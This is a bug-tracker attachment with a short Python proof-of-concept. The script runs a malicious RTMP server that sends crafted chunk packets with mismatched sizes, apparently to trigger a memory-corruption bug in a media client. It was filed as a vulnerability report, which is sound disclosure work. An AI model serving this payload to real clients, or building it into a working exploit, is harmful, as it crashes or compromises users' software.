Ticket #5994: rtmp_poc.py

File rtmp_poc.py, 1.3 KB (added by Carl Eugen Hoyos, 10 years ago)

PoC

Line 
1#!/usr/bin/python
2
3import socket
4import os
5import struct
6import time
7
8bind_ip = '0.0.0.0'
9bind_port = 12345
10
11
12def create_payload(size, data, channel_id):
13 payload = ''
14 payload += chr((1 << 6) + channel_id) # (hdr << 6) & channel_id; hdr = RTMP_EIGHT
15 payload += '\0\0\0' # ts_field
16 payload += p24(size) # size
17 payload += chr(0x00) # type
18
19 payload += data # data
20 return payload
21
22
23def p24(data):
24 packed_data = struct.pack(">I", data)[1:]
25 assert(len(packed_data) == 3)
26 return packed_data
27
28
29def handle_request(client_socket):
30 # performing rtmp handshake
31 v = client_socket.recv(1)
32 client_socket.send(chr(3))
33
34 payload = ''
35 payload += '\x00' * 4
36 payload += '\x00' * 4
37 payload += os.urandom(1536 - 8)
38 client_socket.send(payload)
39 client_socket.send(payload)
40
41 client_socket.recv(0x600)
42 client_socket.recv(0x600)
43
44 payload = create_payload(0xa0, 'A' * 0x80, 10)
45 client_socket.send(payload)
46 payload = create_payload(0x200, 'B' * 0x80, 10)
47 client_socket.send(payload)
48 time.sleep(1)
49
50 client_socket.close()
51
52
53if __name__ == '__main__':
54 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
55
56 s.bind((bind_ip, bind_port))
57 s.listen(5)
58
59 client_socket, addr = s.accept()
60 handle_request(client_socket)
61
62